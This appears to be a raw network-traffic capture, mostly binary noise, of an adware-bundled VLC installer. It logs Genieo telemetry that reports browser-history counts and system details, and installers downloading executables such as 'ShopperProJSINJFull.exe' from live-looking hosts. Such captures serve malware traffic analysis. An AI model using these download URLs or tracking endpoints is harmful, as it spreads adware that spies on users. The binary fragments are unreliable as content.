. .B....^.[.?N.....w.74........ 6.E_.j["kB..k..x.2'.L.N..Z6..ZN.E\!.7}
z....T...MyJp.aoY.1....x.\...iP.t.....3*.)...4.p...4.l.li.kD.W.......J
...n.=......f"..O@s|n.....m<B.J".Y.<....C.....!;#7.p..2..&.A.{.K
.....s.mp1.g.K.{P.. M....@....]]../.H.z.!X".b.....hL.W.e....vM...)<<< skipped >>>

GET /utils/whatsmyip.jsp HTTP/1.1

Accept-Encoding: gzip,deflate

Host: analytics.genieo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Content-Type: text/html; charset=iso-8859-1

Content-Encoding: gzip

Vary: Accept-Encoding

Date: Fri, 15 May 2015 23:04:47 GMT

Server: Google Frontend

Cache-Control: private

Content-Length: 62

Alternate-Protocol: 80:quic,p=1,80:quic,p=1
...........,.5.4.34..321.326....I*....J./. )...u........{.*...HTTP/1.1
 200 OK..Content-Type: text/html; charset=iso-8859-1..Content-Encoding
: gzip..Vary: Accept-Encoding..Date: Fri, 15 May 2015 23:04:47 GMT..Se
rver: Google Frontend..Cache-Control: private..Content-Length: 62..Alt
ernate-Protocol: 80:quic,p=1,80:quic,p=1.............,.5.4.34..321.326
....I*....J./. )...u........{.*.......


GET /track?uid={32251120-2B2D-43EF-B352-87E9353282DF}&partner=gim394750002&dev=false&engine_started=&version_core=ver. 2.7.688, rev. 16741&version_partner=1.0.400&java_version=1.6.0_18&os=Windows 7&os_version=6.1 HTTP/1.1

Accept-Encoding: gzip,deflate

Host: analytics.genieo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Content-Type: text/plain; charset=iso-8859-1

Content-Encoding: gzip

Vary: Accept-Encoding

Date: Fri, 15 May 2015 23:04:48 GMT

Server: Google Frontend

Cache-Control: private

Content-Length: 88

Alternate-Protocol: 80:quic,p=1,80:quic,p=1
...........)JL.NMQ.THL..,.,.L-VH./R(-N-R.66225442.5r2r.51vu.u265..0w.4
656.0rq.....5rD...HTTP/1.1 200 OK..Content-Type: text/plain; charset=i
so-8859-1..Content-Encoding: gzip..Vary: Accept-Encoding..Date: Fri, 1
5 May 2015 23:04:48 GMT..Server: Google Frontend..Cache-Control: priva
te..Content-Length: 88..Alternate-Protocol: 80:quic,p=1,80:quic,p=1...
..........)JL.NMQ.THL..,.,.L-VH./R(-N-R.66225442.5r2r.51vu.u265..0w.46
56.0rq.....5rD.......


GET /track?uid={32251120-2B2D-43EF-B352-87E9353282DF}&partner=gim394750002&dev=false&campaign_from_download=not_found&download_browser=not_found&campaign_extract_error=failed_installPath&download_url= HTTP/1.1

Accept-Encoding: gzip,deflate

Host: analytics.genieo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Content-Type: text/plain; charset=iso-8859-1

Content-Encoding: gzip

Vary: Accept-Encoding

Date: Fri, 15 May 2015 23:04:51 GMT

Server: Google Frontend

Cache-Control: private

Content-Length: 88

Alternate-Protocol: 80:quic,p=1,80:quic,p=1
...........)JL.NMQ0WHL..,.,.L-VH./R(-N-R.66225442.5r2r.51vu.u265..0w.4
656.0rq...G.fAD...HTTP/1.1 200 OK..Content-Type: text/plain; charset=i
so-8859-1..Content-Encoding: gzip..Vary: Accept-Encoding..Date: Fri, 1
5 May 2015 23:04:51 GMT..Server: Google Frontend..Cache-Control: priva
te..Content-Length: 88..Alternate-Protocol: 80:quic,p=1,80:quic,p=1...
..........)JL.NMQ0WHL..,.,.L-VH./R(-N-R.66225442.5r2r.51vu.u265..0w.46
56.0rq...G.fAD.......


GET /track?uid={32251120-2B2D-43EF-B352-87E9353282DF}&partner=gim394750002&dev=false&bootstrap_started= HTTP/1.1

Accept-Encoding: gzip,deflate

Host: analytics.genieo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Content-Type: text/plain; charset=iso-8859-1

Content-Encoding: gzip

Vary: Accept-Encoding

Date: Fri, 15 May 2015 23:04:53 GMT

Server: Google Frontend

Cache-Control: private

Content-Length: 88

Alternate-Protocol: 80:quic,p=1,80:quic,p=1
...........)JL.NMQ0QHL..,.,.L-VH./R(-N-R.66225442.5r2r.51vu.u265..0w.4
656.0rq....ac.D...HTTP/1.1 200 OK..Content-Type: text/plain; charset=i
so-8859-1..Content-Encoding: gzip..Vary: Accept-Encoding..Date: Fri, 1
5 May 2015 23:04:53 GMT..Server: Google Frontend..Cache-Control: priva
te..Content-Length: 88..Alternate-Protocol: 80:quic,p=1,80:quic,p=1...
..........)JL.NMQ0QHL..,.,.L-VH./R(-N-R.66225442.5r2r.51vu.u265..0w.46
56.0rq....ac.D.......


GET /track?uid={32251120-2B2D-43EF-B352-87E9353282DF}&partner=gim394750002&dev=false&history_ie=10 HTTP/1.1

Accept-Encoding: gzip,deflate

Host: analytics.genieo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Content-Type: text/plain; charset=iso-8859-1

Content-Encoding: gzip

Vary: Accept-Encoding

Date: Fri, 15 May 2015 23:04:55 GMT

Server: Google Frontend

Cache-Control: private

Content-Length: 88

Alternate-Protocol: 80:quic,p=1,80:quic,p=1
...........)JL.NMQ0QHL..,.,.L-VH./R(-N-R.66225442.5r2r.51vu.u265..0w.4
656.0rq....ac.D...HTTP/1.1 200 OK..Content-Type: text/plain; charset=i
so-8859-1..Content-Encoding: gzip..Vary: Accept-Encoding..Date: Fri, 1
5 May 2015 23:04:55 GMT..Server: Google Frontend..Cache-Control: priva
te..Content-Length: 88..Alternate-Protocol: 80:quic,p=1,80:quic,p=1...
..........)JL.NMQ0QHL..,.,.L-VH./R(-N-R.66225442.5r2r.51vu.u265..0w.46
56.0rq....ac.D.......


GET /track?uid={32251120-2B2D-43EF-B352-87E9353282DF}&partner=gim394750002&dev=false&history_firefox=1 HTTP/1.1

Accept-Encoding: gzip,deflate

Host: analytics.genieo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Content-Type: text/plain; charset=iso-8859-1

Content-Encoding: gzip

Vary: Accept-Encoding

Date: Fri, 15 May 2015 23:04:58 GMT

Server: Google Frontend

Cache-Control: private

Content-Length: 88

Alternate-Protocol: 80:quic,p=1,80:quic,p=1
...........)JL.NMQ0QHL..,.,.L-VH./R(-N-R.66225442.5r2r.51vu.u265..0w.4
656.0rq....ac.D...HTTP/1.1 200 OK..Content-Type: text/plain; charset=i
so-8859-1..Content-Encoding: gzip..Vary: Accept-Encoding..Date: Fri, 1
5 May 2015 23:04:58 GMT..Server: Google Frontend..Cache-Control: priva
te..Content-Length: 88..Alternate-Protocol: 80:quic,p=1,80:quic,p=1...
..........)JL.NMQ0QHL..,.,.L-VH./R(-N-R.66225442.5r2r.51vu.u265..0w.46
56.0rq....ac.D.......


GET /track?uid={32251120-2B2D-43EF-B352-87E9353282DF}&partner=gim394750002&dev=false&history_chrome=2 HTTP/1.1

Accept-Encoding: gzip,deflate

Host: analytics.genieo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Content-Type: text/plain; charset=iso-8859-1

Content-Encoding: gzip

Vary: Accept-Encoding

Date: Fri, 15 May 2015 23:05:00 GMT

Server: Google Frontend

Cache-Control: private

Content-Length: 88

Alternate-Protocol: 80:quic,p=1,80:quic,p=1
...........)JL.NMQ0QHL..,.,.L-VH./R(-N-R.66225442.5r2r.51vu.u265..0w.4
656.0rq....ac.D...HTTP/1.1 200 OK..Content-Type: text/plain; charset=i
so-8859-1..Content-Encoding: gzip..Vary: Accept-Encoding..Date: Fri, 1
5 May 2015 23:05:00 GMT..Server: Google Frontend..Cache-Control: priva
te..Content-Length: 88..Alternate-Protocol: 80:quic,p=1,80:quic,p=1...
..........)JL.NMQ0QHL..,.,.L-VH./R(-N-R.66225442.5r2r.51vu.u265..0w.46
56.0rq....ac.D.......


GET /track?uid={32251120-2B2D-43EF-B352-87E9353282DF}&partner=gim394750002&dev=false&history_opera=0 HTTP/1.1

Accept-Encoding: gzip,deflate

Host: analytics.genieo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Content-Type: text/plain; charset=iso-8859-1

Content-Encoding: gzip

Vary: Accept-Encoding

Date: Fri, 15 May 2015 23:05:02 GMT

Server: Google Frontend

Cache-Control: private

Content-Length: 88

Alternate-Protocol: 80:quic,p=1,80:quic,p=1

...........)JL.NMQ0QHL..,.,.L-VH./R(-N-R.66225442.5r2r.51vu.u265..0w.4
656.0rq....ac.D...HTTP/1.1 200 OK..Content-Type: text/plain; charset=i
so-8859-1..Content-Encoding: gzip..Vary: Accept-Encoding..Date: Fri, 1
5 May 2015 23:05:02 GMT..Server: Google Frontend..Cache-Control: priva
te..Content-Length: 88..Alternate-Protocol: 80:quic,p=1,80:quic,p=1...
..........)JL.NMQ0QHL..,.,.L-VH./R(-N-R.66225442.5r2r.51vu.u265..0w.46
56.0rq....ac.D.....

GET /pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=istartsurf&tokyo_csrf2_key=82648e528732ef52d9478630a658126f&tokyo_csrf2_timestamp=1431730939&slot_number=2&index_in_screen=1&index_in_session=2&0.7674401945976054 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_smb_indostreamix/vlcmediaplayerelzy/e1b8a78c0881034aa57a76140e007cf2?muid=AD2252CE007468623BD139B0ADEC3423&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=e1b8a78c0881034aa57a76140e007cf2&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1626043335.1431730894.1431730894.1431730894.1; __utmb=1.1.10.1431730894; __utmz=1.1431730894.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Fri, 15 May 2015 23:02:19 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 15 May 2015 23:02:19 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=250000-499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: koohr35-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:35 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: rGRt/KB wGosch7tMIEAlg6zhIdQ6g/NQWeVBv Ohw3UbNCVvjbYFePfBW5Dait557iGfaQp9fs=

x-amz-request-id: 21C365ED51124063

Last-Modified: Fri, 15 May 2015 05:21:24 GMT

ETag: "30cdf7a6c26e2b578a765fbe9060dcbb"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 250000-499999/4735233
aLc... ..T.vEF..........l..._......k..Z.U.6......Y(....$K..YD.]~X....J
%...6.Kg<)D....;.E.2e.q.....#J.....o.......|.......#.=...ir%L....4g
R^A.yy.J.V. . ....'.5d.e..&l_%!... ..)Y....T.'n)..-...9O.k..p...5.....
...?.n}pM..F..Yg.%.0...(.I.|*.P...GO..i......../..k..m...,..m.KN.../.p
v.Hh...5i..a.-......gB^@....5n*o.=R.&.3Q:[kZ.."5$.]R..Tv..rG.Q...p..{$
Af...."9..e...q./.Q..G....R/Y.L...l....gz.[...E....R..J.....4a......f.
[email protected]"..p.h..pz.
.g,..=.~kY..?X .W.h..7....y.2Zj.a.k.*.6.....Q].V9..!....2...n.2.......
......E....\.j..h..x,...o.S.\f.5.....-..TG'........`y..".j...x.{W..qx@
......H..-.k..A..%s....).h..DC/h..F.<9....b.t=.$.5).U".4..0.l...An.
...m.U.... 3.^..-dqp.{.T.^ ..bR/....;XR.....}...)....._..t....Y.....x.
f...y...n^.p...A0..M.j|..&..bB.x...;.V~X.....(G.XW....;..L%....m..S...
...U.Q....c....6.3h.aZ.A~.D.V.....x*c.4...k.~....q.<......b....<
....."..ii..<..H4-......|@~A.R([...F7&]...G.(s...O-......;q.....d..
..o....2..7...3..j........v..y(..tcg$/.....dj...!...`;[email protected]...
.y....T.]..r[..*...`9..j.]..r..Yx.AVy.Kk....]>."..w.].Mc.R..e."....
.Bkh./.*......'].......-....'$).U...#...Uu..7w.s.a..d6.....7>.c|m#[
.......V..}JW..J..E=>..B...]y...]..Iz...B...m..zJ.x..>0.........
#n.R.......s.>.2).Ye.....K.]..^A.....xu.`.....O..,.D.<.........@
..9.,.*5 .he..H.~.u.qSu5.0>....b.7.C.r)C.M.yUO..8b.....&.V....f>
.>.r.}...<.D..aD}U].........*C4....b..d.Q-z3../.i(...t|....=.h..
\...eS-..~.._...09..i!Y...q...;.........Hdo..58....?. *.}z...X.8m.<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=750000-999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: koohr35-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:35 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: rGRt/KB wGosch7tMIEAlg6zhIdQ6g/NQWeVBv Ohw3UbNCVvjbYFePfBW5Dait557iGfaQp9fs=

x-amz-request-id: 21C365ED51124063

Last-Modified: Fri, 15 May 2015 05:21:24 GMT

ETag: "30cdf7a6c26e2b578a765fbe9060dcbb"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 1500000-1749999/4735233
........"..I)k..H r.G.....J..#1H.u.W..^.~=z.j= .....v......>H.....%
...=.....W:..(3...AY...w...M... .4o.!G.....t...28...../.&c!.@G....#.2.
.':.Uv......o...-j{..../f.lQ..Y9..>..9....(..u$,..h.i{i...n...3....
.......hk....M.{.)=~X.o...! c.,..u.......nz...8.....iucJ..'vQ..u.l ...
@....k.5>....f<6.....(7.5..u]t#fw7L.wu.[...E.w..B.."8'p.f.y8&..h
....[.....i1f..s.n...v..f.......sA..YI....uO....dh....:b.h......u...;s
}....aS...m<.<..7..gxJp...>.......R..Y.].0......t......D.Z.=.
.Hw...........vc...O./..q...W....?..".O...b.2L.........5....mC|$..;]..
..........a.wo...4..H.....(......01._.S..JU5....32b..&....B..Q.r.f..!.
.....a..:.K.6...e"........Z......:..i........0......;...4........w.G.c
c...zK....X..gb_.hLb.....&4..........=....).ft.Z.......5..= .9...Yc.qd
iJ.......=P|L..".. .?.r...n...G^#p.`.co.}3.zH.g.b...H.P:....P..ViY..K.
.o.7.prQ........>..V..I...X..T..".w.........bW.K.u.u.4....}ag8e..".
...%C.....i..-..~.U.8:1....k..m...?8.CT....2..2.-.'&\U G..%.K.B...1...
...}...i.xy.ou.....7..........C....:..l..n....1.j.9/.....wL...QR.)....
....@"..<U.;."K....9..Qb\8.%.n.j!.e......Z...X..P.....G m........'.
..i#...%..WK.y..\...dI.0..........7.g.v....l...$u..........,.#I.w.T...
.........^..8h&.7U....>.,..JlP...L.<.=.X{....x...V..bU.e0<m..
.. ..Y.U.5^...$=.@...=S.ya.%....tR...v.D.....}./fR.<}.b..........=`
..8l..&...j.f...h$%tt2k.M.qr..j...C4D.u..3}..J~._........5.N......dt0~
[email protected].|......n./..'.....u=
.....e...GY.'....}..}.0]([.....!YV(.....l.4.... |.o..$.. .^F9..Nh.<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=2750000-2999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: koohr35-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:36 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: rGRt/KB wGosch7tMIEAlg6zhIdQ6g/NQWeVBv Ohw3UbNCVvjbYFePfBW5Dait557iGfaQp9fs=

x-amz-request-id: 21C365ED51124063

Last-Modified: Fri, 15 May 2015 05:21:24 GMT

ETag: "30cdf7a6c26e2b578a765fbe9060dcbb"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 2750000-2999999/4735233
...(H.t9.T..... .O...gP..%.`.x..t#[email protected].=!.x.d.X.7.\.;.\U./..C.`..d.Z.T
...U/M.A..!w......U....]....v..;..0.b.X.=....7.[.&S..;x..{`..XRDc..[..
...X.7Fz.X...L.:.F.......tl./......U.F=.w..k..~R]......Z;.*....u.>X
.......,|...s|.....q.N*$Xf?-.\......)dG............=rw.3...4.....1....
.4MH5...?F77;..c.......'.y..j.s`Ei.....X...$.8a..Po....b.;..vY.s.....3
H.....9.t-.n.=.....i.o]....bz........!...a.Q.#....z.....-....)..{7Wq..
...N.-e...y...-.OOW...=?/J.-.w.....vr}nn[.H.6.Q.F. K5.-.a8fl7.........
.........f.\.J..7.....?.{2...z.*..*.J.0!...Q..u|..n.,Ja...j.{PH3.d.>
;.....7.5..d.......4WX..vu.e*...O..k].Ri.v.............. ..U...!G...W&
lt;....u..$.\w.o..8...0.....i.rj.3I'...'8&.d...x...d...u.]x...X.A .8..
...,...e.s"....KHSs".....q.Iy..x...#d.'de}.0....b wxp?e......?...g....
..h5.....{{.[22..fRA..xXq.`....}.....w.......9 .N.F%2Jp4%W..o!S.....e.
..r.(..3(...4.D.a.G.j....*4......AcM.x...p.(.v!.......Bp...*s.0....r5.
../.$R......lO..-...z....A..7o....#....&.7H.4.&....C2`...y#={k...{....
`[email protected] .S.-.b...|h2.k....!.....:..B.p.W....
.(.Z..(.e...zr...q....#tlv.Z..5.........a'.S.{.LJ J..^.Fa'.52z>tFn.
...#!....^5.......G].#.......S.6X...'...(P...p\.w..[d.]....F.nT.......
.....d.... ...q.r...j....;...:.Y._...1..jN....VC....kc..xX>.....QO.
.V....d\(..R!...75...DM.J......T.Q....~f?..O/E..R,y..c.zk.UQ..".6.t...
...`.#..X.......k.....xjQ...lv..C.P...Z..{OA....h..5.,...RL.....o.. ..
0./.Ly0...........Y.h ....[6x.W.....68...Zav...n..P......(..[..#.XG.B.
..c.....}}.......4-=.!...Tc....m.L.i..`.......x.J..b:.......yi...&<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=3500000-3749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: koohr35-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:36 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: rGRt/KB wGosch7tMIEAlg6zhIdQ6g/NQWeVBv Ohw3UbNCVvjbYFePfBW5Dait557iGfaQp9fs=

x-amz-request-id: 21C365ED51124063

Last-Modified: Fri, 15 May 2015 05:21:24 GMT

ETag: "30cdf7a6c26e2b578a765fbe9060dcbb"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 3500000-3749999/4735233
.P`...d,..........z.u..PKXv....2.h..#..F..f.....ZJ..x.i..E]....T...'..
)....W...E'!.jY.k/.~...[d3...>.kf}G..v..}...I*...aKv.O......X..w.{'
 .H..]B\.3.\.!z...LY.....V.........O..p..2:.,.^.;6.d..b..3....O.MG0.;p
..mq..:E.t..s_._..l]......b.[...D....;................B?I.....(.......
8.RH/.C....{.(Yu....I..!...rn...C....x0M!...}..).M........uE.......c4.
....G..k1..o.[..3.8..Ho.`.NG...A.;...nt.....i.._W7V.r.Q.c.l....0j[g..T
.......l.........=.aw..w..*....Wz6Bu..{..g~...V.1_..L.8z..6..S.Wp... .
L..&.%.;.P?#..,.:@...G*..1.J....7....d.h.jPh'MH.`u..B[..0IfZf.6...@N..
.........6H.....eS..A....rHY,.eFw.~.7u.V.5.Z....hG.XT....De..o..@...(.
.p{........c...h.G...%W[(...S.t.. Z.B....q.....}..5...4.....|........a
.......c...hUQB..........9`1.1.K.....F....L."a-=.....G..)6$8....S..s.&
....Ie.6.k./..QHZ..5.%.62..... ...:Q......H.7.U.}.o.@>..........?..
...z......T...a.... (..qX..%.F..d..j.0..N.?5....u....6.]...NK....k)O .
..@~Z.....Bd.._...l......6.$.l.FoKj...^.`..F.mE.....(..Y.|..X2z.[K<
.K.6.....!..-.........l1Yr.i.A..w"....Cm..5.X....0AL..w.....X...&.pT.H
.u.......k..u.. ...}Afl./k.<.9.W..(...iY..MX.MS........K*....6....C
....O...... ....6.,...'{...<.~!.~.......&L.."#.hH.....J.= ...$...I;
wbS.R....y....n6..m{D-?....5..Kx..D..X..Fh..e<..g.......D..kF...r..
,.?A.5U....D.....C..d........d^....a.....w.....t.....'?W......4{D...k;
...>.F.]....B... .*...R.s....3..wo...../..b.HCo...~...18q..-.......
i........~n........S.Y.......M..>."...B....J.y.'.%U,.R..L.J..-.L...
.......J.y.J...G.y'.u`J.\.;.An1.....l...%........d.........i.:0...<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=4000000-4249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: koohr35-su78sj1t.netdna-ssl.com

Connection: Keep-Alive



...X.d.j..lHI..P....\..........^.m.`q.x]...;....Wo.".vx.........Hv....
..z.9.....m....>[email protected]`[email protected][email protected](...........
....\...... .^1..tV.....=l....I&<0.M......x.m...w..0..)..{.`._E.5..
..C2..!.?..REu...:[email protected][email protected].}.:J..S..oD.-....=Pw.a F..4.J%..
.R..?t....{#@7m ...f.....u) ...j...b...n....v.........O..S.6F.ADr...y.
q.ZC..:!T.7:/?Brp2.1U.d_./..?..%].K.oy..@.... .U.i2..'tS...y.,b..n@...
.1.A.'.....E...z....{......9.[h..a5,...u~.G @.J~.D.."..L)... ..c....6g
....!......[!m.Lk[5Q...A..'.....D.6[....."P.;.0._.'.....H.X`.e..`..../
.*..@.?.A..LX).........\z:....st.~a..^7.].Y.....{..v.E.b...8ZU$...^...
..S..].=.yY .E.m..L3.AO.s..H....Or,%..9]...C...V....S....`.!...|.T."..
.N.N.!.......uGGdW.. S..&.N....{.= ...mm.........$i6l`.kC</.d...s.t
..4.-..o.......m.L....c. mAV.t)jn'h|...$.\'.....K..J..o./.m......(Ic..
.U...%R...y..x.Zc.O..FEM....|..H-o..C......."._NF...r.w..O.e...-....?.
. .mM....-./m .....6...kk....*.J.?r.(G....A..O.u..fP...........<.(.
....F..R..M...]i. .-.hG4.S<{W........=<#..d..J..1....v..r...".[.
<i..u..c....y.K...}.8<...;[email protected]'..(..w?='8......
....R.$.N-.<.Qo..5.T..=....#mh..^-U|!..k....`..U.<."o......@....
#....,...Ud.....E8h....i...M....).T...B.<...*.>T...Ls..8X5......
.'sr....9G.t~.`.\~9.....m..f.A"o...4....#.;[email protected]%.9..$m...
.W.Ap.=..i2.. ..*[email protected].....%p6T..|$.7.._...........T
..9V... :.t......E|...7....8.B.H].."{.....*..nX..=...7u.t..XK..a..C.=a
&.e.Yp...XG......z(....b.)`...:....~.BDP.".O.?]W.m./.14......Wp..m<<< skipped >>>

GET /software_files/vlc/2_0_2/vlc-2.0.2-win32.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Fri, 15 May 2015 23:01:32 GMT

Content-Type: application/octet-stream

Content-Length: 22630361

Last-Modified: Thu, 11 Oct 2012 11:07:06 GMT

Connection: close

ETag: "5076a85a-1594fd9"

Content-Range: bytes 0-22630360/22630361
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
..........^...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected]...@[email protected]
rc....^.......`...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /windowspm/up?ptid=smt&sid=WindowsMangerProtect&ln=en_us&ver=20.0.0.2227&uid=&upv= HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.theviilage.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Fri, 15 May 2015 23:04:07 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: PHP/5.2.14p1

Content-Encoding: gzip

15............3............0..HTTP/1.1 200 OK..Server: nginx..Date: Fr
i, 15 May 2015 23:04:07 GMT..Content-Type: text/html; charset=UTF-8..T
ransfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encodi
ng..X-Powered-By: PHP/5.2.14p1..Content-Encoding: gzip..15............
3............0..

GET /sd?is=sm HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.theswiftrecord.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SwiftRecordSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Sat, 16 May 2015 23:02:23 GMT

Date: Fri, 15 May 2015 23:02:23 GMT

Content-Range: bytes 0-465143/465144

Content-Length: 465144

Connection: keep-alive

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
.........................q.......................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
..........

GET / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.nytimes.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: RMID=007f01013f4655567b99000b

Cookie2: $Version=1


HTTP/1.1 200 OK

Server: Apache

Vary: Host

X-App-Name: homepage

Cache-Control: no-cache

Content-Type: text/html; charset=utf-8

Date: Fri, 15 May 2015 23:05:16 GMT

X-Varnish: 490937309 490903978

Age: 400

Via: 1.1 varnish

X-Cache: HIT

X-API-Version: 5-5

X-PageType: homepage

Connection: close

Content-Encoding: gzip

Transfer-Encoding: chunked
3885.............}.r.H..u;b.....-.MP...,..'Y..d...=.^G.H.IX ..@....{.o
....{..{..&.....eU.(. u0=....3.Q..../.......}..y....s.d.[.xc...(d']...
.......CF1...1.rG.9..X.... .z........k....B.......ej.x.1;....M9{?q.`.C
!.0.... ....t<....{N..G;A..'.NN.........[...JD.u...y.9.as.x... ,...
[email protected].......:..Z>..mwD1A.
[email protected]`[.;..Q.(r.C.r.N....}s....S.h{....=...=7.nx.;.......c.m;
0sl.p?...4d.|..r!.....n,..;....w[8...t...[....O...~s..|.......'.n.y...
?F.....=......n...|...........`...O.]..).-.-....**....."..............
.=..)......T,U..~...........2.!.*...|..[...so?,8..p.....m4...v;.......
aX.....Y.1$.r.7..v.......h.....g.x..<;......LU....-.-...S.5<.>
;........d..o......S\...y..E..v....B......* %...7o...V.)...C..*...{V.O
.p.......,...D...^?....4.{.OI.~\(.A2;...AH..0........r..y.....z.#B.ru~
.9..>..s...$.......H\^.O...$.A.7[.t...m.F<$.....JF._..lB-.......
.......yH...-.T.~....>.]>HDR)....c..>.....]...S....\..s .k...
Y.......B..p.#E{................5..W..o.).v..tl...M.!......>. ui...
A-.)9kj... .....z:0..3K...Y.K...:....9u!...>T...0z].........J...K`"
